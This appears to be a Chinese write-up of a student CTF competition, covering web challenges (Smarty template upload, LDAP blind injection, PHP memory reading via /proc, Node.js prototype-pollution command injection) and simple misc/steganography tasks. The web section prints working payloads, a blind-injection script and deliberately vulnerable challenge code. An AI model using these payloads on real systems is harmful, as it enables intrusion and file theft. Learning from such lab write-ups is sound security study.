前言

写在前面,本篇wp只写出我所做的以及我感兴趣,主要涉及web以及misc,欢迎大家来观看以及提疑

WEB

签到flag

flag{nss_login}

0x00 解法一

人肉排序,然后排好后base64解密即可

0x01 解法二

其实我还是感觉解法一更快也更直接。

解法二就是当网站输出足够多时,复制到文本编译器,然后替换成下方的格式a = list(“a” * 20)

a = list("a" * 20)
···
a[1]="a"
a[20]="b"
a[3]="c"
···

然后最后base64解密即可

odd_upload

题目给出了一个上传点,并且页面中给出了一些关于模板的提示,关于模板我先不过多查看。我直接尝试一下能不能通过简单的方法进行绕过后缀上传shell上去,毕竟是萌新题目,尝试了一下发现全部失败,那么这种话方法还是行不通了,后端应该使用了严格的后缀黑名单防止上传php或Apache配置文件.

那么再回来观察给出的提示,给出的是关于模板的提示,并且题目中说到跟网站结构跟test页面给出的结构一样,想想这是啥结构,很容易发现题目使用了smarty模板引擎的demo项目

之前看到的一篇文章关于smarty模板注入的十分相似,关于smarty模板注入的知识,文章最后面的链接可以去看看。是基于php开发的,同时这个smarty模板中会存在一个.tpl模板文件,我们尝试上传一下.tpl模板文件,看是否被过滤后缀

随机上传一个文件抓包,将数据包通过smarty模板注入的方法修改一下,对模板文件.tpl进行覆盖,控制模板内容

POST /? HTTP/1.1
Host: aefbb26c-0fbb-41d5-b2a6-d1ce8b1b00c3.nssctf.neusoft.edu.cn
Content-Length: 325
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://aefbb26c-0fbb-41d5-b2a6-d1ce8b1b00c3.nssctf.neusoft.edu.cn
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryO6v1cOyBuhGjKsJH
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://aefbb26c-0fbb-41d5-b2a6-d1ce8b1b00c3.nssctf.neusoft.edu.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

------WebKitFormBoundaryO6v1cOyBuhGjKsJH
Content-Disposition: form-data; name="file"; filename="index.tpl"
Content-Type: application/octet-stream

{{system('cat /flag')}}
------WebKitFormBoundaryO6v1cOyBuhGjKsJH
Content-Disposition: form-data; name="path"

./templates
------WebKitFormBoundaryO6v1cOyBuhGjKsJH--

查看浏览器,上传成功

访问原来的网页,修改的模板被渲染,拿flag

Easyinject

flag{ldapli_1s_v3ry_ez}

考察的是ldap注入

右键源代码,发现给出了一组登录信息,登录发现给出了一组提示

给的这一串英文是指flag是在目录里面的某一个用户的邮箱属性,那么我第一感觉SQL注入了呀这,简单带进去试试,密码就用原来给的哪个密码,看看会给啥提示

http://47.106.172.144:2333/?user=0'+and+length()&pass=EC77k8RHquAMLKAX 

结果很明显,ldap数据库,那SQL注入那一套肯定行不通了,通配符带进去试一下(ldap数据库我也是现搜的,作为一个web小白连ldap数据库都没遇到过,无语住)

http://47.106.172.144:2333/?user=*&pass=EC77k8RHquAMLKAX

说明那就很多用户了,并且经过多次尝试,可以知道一共有三种回显,密码错误,查询用户不唯一,一大串英文。然后,结合flag的特点!!具有下划线’ _ ‘ 一大串英文就不需要管了,flag某个用户名

直接脚本进行通配符*进行ldap盲注即可,由于有多个用户需要进行递归运算

import requests
url = "http://47.106.172.144:2333/"
alphabet = 'abcdefghijklmnopqrstuvwxyz0123456789_'
def search(flag):
    for c in alphabet:
        # print(flag+c+'*')
        r = requests.get(url, params={'user':flag+c+'*', 'pass':'1'})
        if '找不到用户' in r.text:
            pass
        elif '查询用户不唯一' in r.text or '密码错误' in r.text:
            # print(c+'\n'+r.text)
            print(flag+c)
            search(flag+c)
        else:
            print('Error: ['+c+']\n'+r.text)
search('')

成功爆出flag,加上flag{}即可

Hideandseek

flag{2fb0e9c7-320d-4f2b-a448-d24d520539d3}

这道题也是赛后看大佬的文章才勉强理解,其实也是一道经验题,考到了读取/proc这个目录,其实题目也给出了提示

0x00 /poc目录

在 GUN/Linux 操作系统中的/proc是一个位于内存中的伪文件系统(或者叫做虚拟文件系统)。该目录下保存的不是真正的文件和目录,而是一些”运行时”的信息,例如系统内存、磁盘IO、设备挂载信息和硬件配置信息等。proc目录是一个控制中心,用户可以通过更改其中某些文件来改变内核的运行状态,proc目录也是内核提供给一个的查询中心,可以通过这些文件查看有关系统硬件及当前正在运行进程的信息。在 Linux 系统中,许多工具的数据来源正是proc目录中的内容,例如:lsmod命令就是cat /proc/modules命令的别名,lspci命令是cat /proc/pci命令的别名

具体可以看一下阿里云先知社区的这篇文章 https://xz.aliyun.com/t/10579

0x01 题目

给出了两个提示

题目提示1: 要怎样才能读到内存里面的flag呢?

题目提示2: linuxの奇妙文件系统

<?php
highlight_file(__FILE__);
//docker 
//FROM php:8.1.0
//disable_functions=exec,shell_exec,system,passthru,popen,proc_open,putenv,getenv,pcntl_exec,fputs,fwrite,pcntl_fork,pcntl_waitpid,pcntl_setpriority,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_sigprocmask
//disable_classes = FFI
//chmod -R  0555 html/
//php -S 0.0.0.0:8000

function main(){
$flag=file_get_contents('/flag');//看到这个flag了吗 (°▽°)ノ✿
if($flag==''){
die('看来你失败了');
}
file_put_contents('/flag','');//我把它覆盖了都不给你 ( ̄▽ ̄)
test();
}
function test(){
eval($_REQUEST['eval']);//来试试读flag吧 只有一次机会哦 执行结束flag真的会消失的说 重启容器间隔会很长时间呢 本地试好了再来试试吧 (〜 ̄△ ̄)〜 
}
if(isset($_REQUEST["eval"])){
main();
}
?> 

给出了一串php代码,看来第一步便是让我们来审一下这串代码,这串代码也不算复杂,算是对我很友好了,但是这个读取php进程内存的方法确实是我第一次见,刷题太少了.php

0x00 分析代码

读取flag文件,并将文件赋给$flag变量,目的是读取这个$flag变量的内容,接着往下走,走到test变量时就不能读到其他函数的局部变量,并且代码中出现了eval这个函数,作为request的输入变量,那么进行尝试读取/proc/self/maps 获取 进程自身内存布局

0x01 尝试读取

说实话这道题整了个读取失败就摧毁镜像的可真烦,得等不少时间,不过结果是好的

读取 /proc/self/maps 获取 进程自身内存布局

?eval=print(readfile('/poc/self/maps'));

获取自身布局后,下一步便是根据布局来读取自身内存,感觉flag在内存里面会出现

http://34e54c61-9f0e-4357-abe3-373bac7c19e8.nssctf.neusoft.edu.cn/?eval=$maps = file_get_contents('/proc/self/maps');$handle=fopen('/proc/self/mem','r');$r=explode(PHP_EOL,$maps);var_dump(explode('-',$r[7])[0]);fseek($handle,hexdec(explode('-',$r[7])[0]));echo fread($handle,10000000);

dirtyrce

flag{5a66be7f-279a-4bf4-a856-04b947f1f2c4}

0x01 观察题目及代码

这串js代码真的考验到我了,不会审,差点就准备开摆了,但是看到了rce并且有个ping的功能我觉得我还是可以试试的。

var express = require('express');
var nodeCmd = require('node-cmd');
var bodyParser = require('body-parser');
const app = express();
var router = express.Router();
const port = 80;
app.use(bodyParser.urlencoded({
	extended: true
})).use(bodyParser.json());
function isValidIP(ip) {
	var reg = /^(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])$/;
	return reg.test(ip);
}
app.post("/ping",
function(req, res, next) {

	b = req.body.cmd;
	if (req.body.ping === undefined) {
		res.send('invalid parm');
		return;
	}
	ping = req.body.ping
	if (ping.time !== undefined) {
		time = Number(ping.time);
		if (time > 10 || time < 1) {
			res.send('invalid time');
			return;
		}
		if (Object.keys(ping).length != 1 && ping.ip !== undefined && ping.ip != '') {
			if (!isValidIP(ping.ip)) {
				res.send('invalid ip addr');
				return;
			}
		}
	} else {
		res.send('need time parm');
		return;
	}
	ip = ((ping.ip !== undefined && ping.ip != '') ? ping.ip: '114.114.114.114');
	nodeCmd.run('ping -c ' + time + ' ' + ip, //WINDOWS USE -n
	function(err, data, stderr) {
		res.send(data);
		return;
	});

});
app.get('/',
function(req, res, next) {
	res.redirect('index');
});

app.get('/index',
function(req, res, next) {
	res.send('<title>ping test</title><form action="/ping" method="POST">Ip:<input type="text" name="ping[ip]"" placeholder="default value 114 dns"><br>Times:<input type="text" name="ping[time]"  value="1"><input type="submit" value="Ping !"></form> ');
});
app.listen(port);

我看不懂但是大为震撼,反正进去先看看,是一个提供ping功能的地方,输入ip和times即可

先简单试试能不能输入别的,比如一些相对简单的命令试试,但是发现都报错,说ip无效,那么翻过头去看一眼js代码,/ping路由内有命令执行操作 但是ip经过严格的正则校验 无法绕过,time也有强制类型转换,同时后方也会有三元运算符来检测ip是否为空,

0x02 尝试绕过

js代码加上dirtyrce加上这个题的条件真的很像,想到了阿里云社区的一篇关于再探 JavaScript 原型链污染到 RCE的文章,里面就写了关于js过滤以及通过原型链污染,有意识的是这个原型链污染跟之前的哪个模板覆盖很类似,我都不知道出题人是不是很喜欢去出这种题。

回到这道题,bp抓包得到数据包中

ping[ip]=127.0.0.1&ping[time]=1

在阿里云社区的那篇文章中,类似的是模型相同,但是入口不同,他的paylaod为

{"__proto__":{"compileDebug":1}}

那么根据这个payload来构造本题的payload并且结合RCE中常用的管道符以及cat /flag 尝试是否能构造payload成功

ping[__proto__][ip]=|cat /flag&ping[time]=1

MISC

签到

复制给出的flag输入即可,真签到

flag{Dnui_ctf_2021_s1gn_in}

在哪呢

flag{hey_there_is_no_thing}

签到题 进入PDF可以看到给出提示 文章颜色有的变浅ctrl f 搜索一下flag

只是个PNG,别想太多了.png

flag{zhe_ti_mu_ye_tai_bt_le_XD}

本题考察的是对PNG结构以及常见工具的使用。

题目只是在IDAT数据当中存储了多余的zlib数据流,通过binwalk可以直接进行解压缩。

这道题对于一个misc新手来说确实也算入门题目了,从此binwalk印入脑海

easysteg

flag{Do_U_Kn0w_Ste9py??}

从题目来看很难不想到stegpy这个工具,尽量往这上面靠吧

打开发现是一张缺了一个定位角的二维码,那么通过ps或者其他软件进行定位角补全

得到上面的二维码,扫码得到提示某种常见的隐写

010deitor打开发现只有png文件头没有文件尾,但是在末尾发现了50 4B zip文件的文件尾 改成zip试试

果然解压出了一张图片,这时候再来试试stegpy

参考

js原型链污染RCE:https://xz.aliyun.com/t/7025#toc-5

smarty模板引擎注入:https://www.cnblogs.com/bmjoker/p/13508538.html

https://blog.csdn.net/Jeff_12138/article/details/121738714

https://or4ngesec.github.io/post/dnuictf-writeup-by-or4nge/

https://xz.aliyun.com/t/10579#toc-15

同时感谢官方大大给出的wp